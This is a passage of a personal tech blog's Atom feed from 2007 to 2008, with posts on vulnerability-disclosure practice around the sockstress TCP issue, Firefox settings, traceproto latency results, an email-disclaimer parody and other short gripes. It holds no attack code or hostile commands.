Snippets'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-2237534474898494931</id><published>2008-10-02T16:36:00.012-04:00</published><updated>2010-03-04T10:47:44.648-05:00</updated><title type='text'>About Disclosure</title><content type='html'>Let me start off by saying that I wish I had time to sit down and write this in a very concise, coherent manner. Unfortunately, I don't, so instead of a well written post, here's a rapid brain dump.&lt;br /&gt;&lt;br /&gt;A couple of researchers (Robert E. Lee and Jack C. Louis) have recently been making a very large amount of press for discovering a new vulnerability in TCP. (see &lt;a href="http://blog.robertlee.name/2008/09/sockstress-podcast-interview.html"&gt;this blog post&lt;/a&gt; for a starting point). &lt;br /&gt;&lt;br /&gt;The researchers are fairly well respected (among other things, they authored unicornscan, which is a tool that I am quite fond of).&lt;br /&gt;&lt;br /&gt;Like Dan Kaminsky and the DNS fiasco not too long ago, they have decided to go with what a colleague of mine accurately referred to as "dribble disclosure", that is, they've said there's a problem, and they've given a large number of interviews giving out bits and pieces of what it may be, how they found it, etc. but they have not come out all the way and said precisely what the issue is.&lt;br /&gt;&lt;br /&gt;However, unlike Dan Kaminsky, they've done this *before* any patching of any kind has been released. It was bad enough trying to deal with this type of disclosure *after* vendors had already had a chance to patch, trying to do it without that benefit is insane.&lt;br /&gt;&lt;br /&gt;The problem with this type of disclosure is that it leads to a gigantic circus of FUD, both in the media and otherwise. For example, there's some debate in various technical circles as to whether or not they have actually discovered anything new, or whether they've rediscovered older known issues. &lt;br /&gt;&lt;br /&gt;I'm giving them the benefit of the doubt and presuming that they have in fact found something new, but without information, who knows? It's all guesswork. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As for the media, I wish it was only the uninformed "mass" media that were spreading unrest and FUD, unfortunately even security researchers are contributing to the festivities.&lt;br /&gt;&lt;br /&gt;For example, Robert Hansen (or RSnake as he is known) makes the following statement in his &lt;a href="http://www.darkreading.com/blog.asp?blog_sectionid=403&amp;doc_id=164939"&gt;take&lt;/a&gt;:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;I feel winter slowly coming, and it would be a shame if entire power grids could be taken offline with a few keystrokes, or if supply chains could be interrupted. I hear it gets awfully cold in Scandinavia. &lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Are you kidding me? We've gone from no details at all to suddenly power grids being knocked offline. Never mind the fact that it's extremely unlikely (read: not gonna happen) that a device which controls the power grid of an area is directly connected to the internet. Devices that display power consumption/usage maybe, but not devices that control where that power is going and whether or not a given path is online.&lt;br /&gt;&lt;br /&gt;Fyodor (of nmap fame) has &lt;a href="http://insecure.org/stf/tcp-dos-attack-explained.html"&gt;posted&lt;/a&gt; his guess on the details of this new vulnerability (and an echo of my frustration at this type of disclosure as well), however Robert E. Lee &lt;a href="http://blog.robertlee.name/2008/10/conjecture-speculation.html"&gt;replies&lt;/a&gt; that while Fyodor has very valid points and explains a bit of how their tool works, he doesn't quite explain the attack they've found.&lt;br /&gt;&lt;br /&gt;That's one of the points of this rant: Smart people *are* going to figure out what the problem is. They may be "good guys", or they may be "bad guys" (in my opinion it is likely that both sides will figure it out). Either way, there are certainly enough clues given in the various reports/podcasts to enable an individual that is clueful about the protocol to figure out a likely scenario. &lt;br /&gt;&lt;br /&gt;To make matters worse, this time there are at least &lt;strong&gt;five&lt;/strong&gt; unique vulnerabilities which have been documented by Robert and Jack. This of course increases the odds that the exploit will be found (that is, someone will figure at least &lt;em&gt;one&lt;/em&gt; of the five out, if not all of them.)&lt;br /&gt;&lt;br /&gt;So what really is the point of disclosing this way? &lt;br /&gt;It isn't helping anyone except the media and the researchers (because they get to revel in the media circus while it lasts). &lt;br /&gt;&lt;br /&gt;More specifically:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;It doesn't protect end users&lt;/li&gt;&lt;br /&gt;&lt;li&gt;It doesn't help administrators&lt;/li&gt;&lt;br /&gt;&lt;li&gt;It doesn't even help security researchers other than those doing the dribbling, because rather than allowing one to try to find ways to fix the problem, or even new ways to apply the problem to other areas, it forces them to try to recreate what's already been done using a disjointed trail of clues.&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;So, why do it this way?&lt;br /&gt;Disclosure is simple really, either do it, or don't.&lt;br /&gt;&lt;br /&gt;Personally, I think "full disclosure" (eg. 'do it') is best.&lt;br /&gt;Whether you do so before or after "responsible" vendor notification, I don't care really. But get all the information out there when you do it, or keep your mouth shut until you're ready to do so.&lt;br /&gt;&lt;br /&gt;I'm disgusted with this "new way" of doing things, and I've decided to coin a term for this method: &lt;strong&gt;&lt;em&gt;discloscharades&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Just like the game charades, this "half informed" nonsense ends up making the person dribbling clues out look silly or worse, and it leaves the people doing the guesswork frustrated and annoyed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-2237534474898494931?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/2237534474898494931/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2008/10/about-disclosure.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/2237534474898494931'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/2237534474898494931'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2008/10/about-disclosure.html' title='About Disclosure'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-8483641239765229578</id><published>2007-11-17T21:52:00.000-05:00</published><updated>2007-11-17T21:53:41.750-05:00</updated><title type='text'>well duh...</title><content type='html'>So, I'm printing a doc right now, and notice this helpful tip the printer manufacturer has decided to put into their status screen:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Assure high quality printouts on special media by loading the printable side up.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;umm... really?&lt;br /&gt;wtf.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-8483641239765229578?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/8483641239765229578/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2007/11/well-duh.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/8483641239765229578'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/8483641239765229578'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2007/11/well-duh.html' title='well duh...'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-4450591697732490316</id><published>2007-08-15T19:08:00.006-04:00</published><updated>2010-03-04T10:46:38.189-05:00</updated><title type='text'>Legal Disclaimer Redux</title><content type='html'>So, I got sick of &lt;a href="http://cruft.blogspot.com/2005/05/legal-disclaimer.html"&gt;stupid email disclaimers&lt;/a&gt; again.&lt;br /&gt;&lt;br /&gt;The thing that set me off this time was that this particular disclaimer, after wasting 1.3K and 280 words, actually provided a link to a website and a mailto: so you could view the *full* disclaimer.&lt;br /&gt;&lt;br /&gt;WTF?!?&lt;br /&gt;&lt;br /&gt;This annoyed me so much, that I felt the need to use the provided mailto and contact the company about the fact that their disclaimer was stupid. Thing is, I forgot to mention the dumbness of providing a link after wasting a ton of time/space with text because there was so much else to pick on.&lt;br /&gt;&lt;br /&gt;Here then, is my email to them.&lt;br /&gt;I highly encourage anyone that feels inclined to take this text and use it as a template for your own response to stupid email disclaimers.&lt;br /&gt;&lt;br /&gt;Maybe if enough of us bother administration (which impacts the bottom line by wasting *their* time for a change) they'll see the stupidity of the damn things and stop sending them.&lt;br /&gt;&lt;br /&gt;right. =/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;Received: by 10.114.59.16 with HTTP; Wed, 15 Aug 2007 15:59:34 -0700 (PDT)&lt;br /&gt;Message-ID: &lt;355c7d900708151559j6b8d04b7n792a0ebe05f45484@mail.gmail.com&gt;&lt;br /&gt;Date: Wed, 15 Aug 2007 18:59:34 -0400&lt;br /&gt;From: "Jason Ross" &lt;algorythm@gmail.com&gt;&lt;br /&gt;To: administrator@xxx.com.au&lt;br /&gt;Subject: a question about the XXX XXXXXXXX email disclaimer&lt;br /&gt;MIME-Version: 1.0&lt;br /&gt;Content-Type: text/plain; charset=UTF-8&lt;br /&gt;Content-Transfer-Encoding: 7bit&lt;br /&gt;Content-Disposition: inline&lt;br /&gt;Delivered-To: algorythm@gmail.com&lt;br /&gt;&lt;br /&gt;Hello. I have just received an email which was sent to a public mailing list, and which contained your company disclaimer at the bottom.&lt;br /&gt;&lt;br /&gt;I read the disclaimer with some interest, and have a couple of questions/comments about it.&lt;br /&gt;&lt;br /&gt;&gt; The information in this email and any attachments &lt;br /&gt;&gt; is confidential. If you are not the named &lt;br /&gt;&gt; addressee you must not read, print, copy, &lt;br /&gt;&gt; distribute, or use in any way this transmission&lt;br /&gt;&gt; or any information it contains.&lt;br /&gt;&lt;br /&gt;I am curious how one is to know what one should do if they are not not the "named adressee" ... as they (according to the disclaimer) should not then be reading the message, nor the disclaimer which is appended to it?&lt;br /&gt;&lt;br /&gt;&gt; If you have received this message in error, &lt;br /&gt;&gt; please notify the sender by return email, &lt;br /&gt;&gt; destroy all copies and delete it from your&lt;br /&gt;&gt; system.&lt;br /&gt;&lt;br /&gt;and then later:&lt;br /&gt;&lt;br /&gt;&gt; It is your responsibility to scan this &lt;br /&gt;&gt; communication and any files attached for computer&lt;br /&gt;&gt; viruses and other defects&lt;br /&gt;&lt;br /&gt;Forgive me if I am being obtuse, but does this not grant permission to use the transmission you formerly forbade one to "use in any way"? &lt;br /&gt;&lt;br /&gt;Thanks for taking the time to read this, and I look forward to your response.&lt;br /&gt;&lt;br /&gt;Regards,&lt;br /&gt;&lt;br /&gt;Jason Ross&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;small&gt;btw: yes, i know i wrote "not not the named adressee" ... no need to ask. i never said i was perfect. just not retarded ;-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-4450591697732490316?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/4450591697732490316/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2007/08/legal-disclaimer-redux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/4450591697732490316'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/4450591697732490316'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2007/08/legal-disclaimer-redux.html' title='Legal Disclaimer Redux'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-6147676028803323455</id><published>2007-07-24T08:00:00.000-04:00</published><updated>2007-07-24T08:05:27.196-04:00</updated><title type='text'>one more reason i hate tv</title><content type='html'>ok, i'm (almost) willing to accept that, since i have an HDTV, and most of the programming on cable is not yet shown in high-def, i have to deal with things like the stupid banners stations put across the bottom of the screen to tell me about some stupid new show coming up next being 1/3 of the entire screen and covering things i actually may want to see (like subtitles in non-english movies for example...)&lt;br /&gt;&lt;br /&gt;but there's a new "feature" of these banner ads being used that is simply not ok. specifically, sound effects.&lt;br /&gt;&lt;br /&gt;i'm sorry, but when i am attempting to watch a show, it is simply not acceptable to have a banner pop up in the corner of the screen and start making destructo-electric noises all over the place, making it so that i am unable to hear the dialogue going on.&lt;br /&gt;&lt;br /&gt;i'm not sure whom to hate more, the tv executives for giving this interruption the go-ahead, or the advertising flunkies that came up with the idea in the first place. &lt;br /&gt;&lt;br /&gt;accordingly, i hate them both.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-6147676028803323455?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/6147676028803323455/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2007/07/one-more-reason-i-hate-tv.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/6147676028803323455'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/6147676028803323455'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2007/07/one-more-reason-i-hate-tv.html' title='one more reason i hate tv'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-2826967533015083890</id><published>2007-06-28T23:05:00.001-04:00</published><updated>2007-06-28T23:12:04.901-04:00</updated><title type='text'>firefox tips part II</title><content type='html'>it turns out that there are some very interesting things hidden in the dom.* section of about:config.&lt;br /&gt;&lt;br /&gt;Specifically, there is this handy key which defaults to false, but if set to true is actually a rather beneficial security enhancement:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;dom.disable_window_status_change&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Setting this to true will prevent javascript from manipulating the status bar. This "feature" is often used in phishing attacks to disguise the real location a given link is referencing. If you set this to true, you will be able to see where you're really going to end up, rather than where the script is programmed to make you &lt;strong&gt;think&lt;/strong&gt; you'll be headed.&lt;br /&gt;&lt;br /&gt;For some more reading on the topic, designed around building a custom security policy for firefox suitable for pushing out to end users, check out this &lt;a href="http://kb.mozillazine.org/Security_Policies"&gt;article&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-2826967533015083890?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/2826967533015083890/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2007/06/firefox-tips-part-ii.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/2826967533015083890'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/2826967533015083890'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2007/06/firefox-tips-part-ii.html' title='firefox tips part II'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-8125939470238779974</id><published>2007-06-22T12:09:00.001-04:00</published><updated>2010-03-02T22:02:07.022-05:00</updated><title type='text'>time warner can bite me</title><content type='html'>i've been playing with 'traceproto' a bit lately.&lt;br /&gt;&lt;br /&gt;if you haven't heard of it, it's a nifty tool, which is likely best summarized by the debian package description:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Traceproto is a traceroute replacement written in C that allows the user to specify the protocol and port to trace to. It currently supports TCP, UDP, and ICMP traces with the possibility of others in the future. A network server version is also planned.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;so, i decided to see (very informally) how my roadrunner service from time warner cable may be impacting my VoIP service.&lt;br /&gt;&lt;br /&gt;here's the results:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;trace to tcp/80&lt;/strong&gt;&lt;br /&gt;&lt;pre&gt;hop :  min   /  ave   /  max   :  # packets  :  # lost&lt;br /&gt;-------------------------------------------------------&lt;br /&gt;  1 : 0.76100 / 1.1050 / 1.7550 :   3 packets :   0 lost&lt;br /&gt;  2 : 0.76600 / 0.78167 / 0.80800 :   3 packets :   0 lost&lt;br /&gt;  3 : 1.2240 / 3.4590 / 7.8880 :   3 packets :   0 lost&lt;br /&gt;  4 : 1.0330 / 1.0933 / 1.1680 :   3 packets :   0 lost&lt;br /&gt;------------------------Total--------------------------&lt;br /&gt;total 0.76100 / 1.4859 / 7.8880 :  12 packets :   0 lost&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;trace to tcp/5061&lt;/strong&gt;&lt;br /&gt;&lt;pre&gt;hop :  min   /  ave   /  max   :  # packets  :  # lost&lt;br /&gt;-------------------------------------------------------&lt;br /&gt;  1 : 0.73500 / 0.94200 / 1.3470 :   3 packets :   0 lost&lt;br /&gt;  2 : 0.80200 / 0.80333 / 0.80400 :   3 packets :   0 lost&lt;br /&gt;  3 : 1.2040 / 1.2520 / 1.2910 :   3 packets :   0 lost&lt;br /&gt;  4 : 0.98400 / 1.0927 / 1.2770 :   3 packets :   0 lost&lt;br /&gt;  5 : 1.2880 / 1.9990 / 3.3890 :   3 packets :   0 lost&lt;br /&gt;  6 : 0.0000 / 0.0000 / 0.0000 :   0 packets :   3 lost&lt;br /&gt;  7 : 14.598 / 14.985 / 15.470 :   3 packets :   0 lost&lt;br /&gt;  8 : 14.341 / 15.993 / 17.198 :   3 packets :   0 lost&lt;br /&gt;  9 : 14.772 / 16.039 / 18.456 :   3 packets :   0 lost&lt;br /&gt; 10 : 21.179 / 27.981 / 34.584 :   3 packets :   0 lost&lt;br /&gt; 11 : 20.403 / 25.081 / 31.883 :   3 packets :   0 lost&lt;br /&gt; 12 : 20.033 / 23.694 / 30.763 :   3 packets :   0 lost&lt;br /&gt; 13 : 28.431 / 29.986 / 32.682 :   3 packets :   0 lost&lt;br /&gt; 14 : 27.798 / 28.413 / 28.807 :   3 packets :   0 lost&lt;br /&gt; 15 : 34.406 / 34.864 / 35.174 :   3 packets :   0 lost&lt;br /&gt; 16 : 37.561 / 40.920 / 42.843 :   3 packets :   0 lost&lt;br /&gt; 17 : 37.916 / 38.145 / 38.337 :   3 packets :   0 lost&lt;br /&gt; 18 : 38.952 / 39.225 / 39.401 :   3 packets :   0 lost&lt;br /&gt; 19 : 39.711 / 41.577 / 42.546 :   3 packets :   0 lost&lt;br /&gt; 20 : 46.463 / 50.698 / 58.449 :   3 packets :   0 lost&lt;br /&gt;------------------------Total--------------------------&lt;br /&gt;total 14.341 / 22.377 / 58.449 :  57 packets :   3 lost&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;trace to udp/5060&lt;/strong&gt;&lt;br /&gt;&lt;pre&gt;hop :  min   /  ave   /  max   :  # packets  :  # lost&lt;br /&gt;-------------------------------------------------------&lt;br /&gt;  1 : 0.66200 / 0.72800 / 0.78000 :   3 packets :   0 lost&lt;br /&gt;  2 : 0.78300 / 0.83800 / 0.93100 :   3 packets :   0 lost&lt;br /&gt;  3 : 1.2470 / 2.9330 / 6.2640 :   3 packets :   0 lost&lt;br /&gt;  4 : 0.98200 / 0.99433 / 1.0130 :   3 packets :   0 lost&lt;br /&gt;  5 : 1.5360 / 3.6990 / 7.9890 :   3 packets :   0 lost&lt;br /&gt;  6 : 0.0000 / 0.0000 / 0.0000 :   0 packets :   3 lost&lt;br /&gt;  7 : 14.158 / 14.761 / 15.356 :   3 packets :   0 lost&lt;br /&gt;  8 : 16.964 / 20.113 / 24.459 :   3 packets :   0 lost&lt;br /&gt;  9 : 14.521 / 22.357 / 26.446 :   3 packets :   0 lost&lt;br /&gt; 10 : 19.974 / 20.604 / 21.070 :   3 packets :   0 lost&lt;br /&gt; 11 : 19.958 / 20.173 / 20.493 :   3 packets :   0 lost&lt;br /&gt; 12 : 20.204 / 24.639 / 32.201 :   3 packets :   0 lost&lt;br /&gt; 13 : 28.219 / 28.462 / 28.705 :   2 packets :   1 lost&lt;br /&gt; 14 : 28.063 / 28.400 / 28.900 :   3 packets :   0 lost&lt;br /&gt; 15 : 34.316 / 34.737 / 35.148 :   3 packets :   0 lost&lt;br /&gt; 16 : 36.924 / 39.390 / 44.055 :   3 packets :   0 lost&lt;br /&gt; 17 : 37.674 / 38.012 / 38.211 :   3 packets :   0 lost&lt;br /&gt; 18 : 39.119 / 39.444 / 39.718 :   3 packets :   0 lost&lt;br /&gt; 19 : 39.005 / 39.188 / 39.481 :   3 packets :   0 lost&lt;br /&gt; 20 : 0.0000 / 0.0000 / 0.0000 :   0 packets :   3 lost&lt;br /&gt; 21 : 0.0000 / 0.0000 / 0.0000 :   0 packets :   3 lost&lt;br /&gt; 22 : 0.0000 / 0.0000 / 0.0000 :   0 packets :   3 lost&lt;br /&gt; 23 : 0.0000 / 0.0000 / 0.0000 :   0 packets :   3 lost&lt;br /&gt; 24 : 0.0000 / 0.0000 / 0.0000 :   0 packets :   3 lost&lt;br /&gt;------------------------Total--------------------------&lt;br /&gt;total 0.0000 / 15.300 / 44.055 :  53 packets :  19 lost&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;yeah.&lt;br /&gt;that sucks.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-8125939470238779974?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/8125939470238779974/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2007/06/time-warner-can-bite-me.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/8125939470238779974'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/8125939470238779974'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2007/06/time-warner-can-bite-me.html' title='time warner can bite me'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-8233051975503549354</id><published>2007-03-29T19:49:00.000-04:00</published><updated>2007-03-29T19:50:42.849-04:00</updated><title type='text'>reason #284 why i love "hacker" culture</title><content type='html'>from the &lt;a href="http://insecure.org/nmap/man/man-target-specification.html"&gt;nmap manual&lt;/a&gt;:&lt;br /&gt;&lt;blockquote&gt;If you find yourself really bored one rainy afternoon, try the command nmap -sS -PS80 -iR 0 -p 80 to locate random web servers for browsing.&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-8233051975503549354?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/8233051975503549354/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2007/03/reason-284-why-i-love-hacker-culture.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/8233051975503549354'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/8233051975503549354'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2007/03/reason-284-why-i-love-hacker-culture.html' title='reason #284 why i love &quot;hacker&quot; culture'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-2251785704460761854</id><published>2007-03-05T22:33:00.000-05:00</published><updated>2007-03-05T22:45:24.262-05:00</updated><title type='text'>overkill</title><content type='html'>the following may not be true for everyone, but my experience is that it turns out when your wife says: &lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;   i would like you to make me a spreadsheet i can use for $foo&lt;br /&gt;&lt;/blockquote&gt; &lt;br /&gt;she does not instead mean:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;   i would like you to build me a coldfusion based web&lt;br /&gt;   application that connects to a sql server back end database&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;she really does just want a spreadsheet.&lt;br /&gt;no matter how much more efficient having a database driven web app may be in the long run.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-2251785704460761854?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/2251785704460761854/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2007/03/overkill.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/2251785704460761854'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/2251785704460761854'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2007/03/overkill.html' title='overkill'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-2797113849994956959</id><published>2007-02-20T19:29:00.001-05:00</published><updated>2008-10-16T09:41:55.054-04:00</updated><title type='text'>firefox tips part I</title><content type='html'>today's wisdom nugget:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;in mozilla, go to "about:config"&lt;/li&gt;&lt;li&gt;there's an entry called "browser.blink _allowed", double click it to set it to '&lt;blink&gt;false&lt;/blink&gt;'&lt;/li&gt;&lt;li&gt;bask in the joy of a not-quite-as-annoying web browsing experience&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-2797113849994956959?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/2797113849994956959/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2007/02/helpful-hints.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/2797113849994956959'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/2797113849994956959'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2007/02/helpful-hints.html' title='firefox tips part I'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-5232439729219214124</id><published>2007-02-12T21:27:00.000-05:00</published><updated>2007-01-30T09:44:52.877-05:00</updated><title type='text'>just remember</title><content type='html'>botnets don't DDoS networks ... *people* do...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 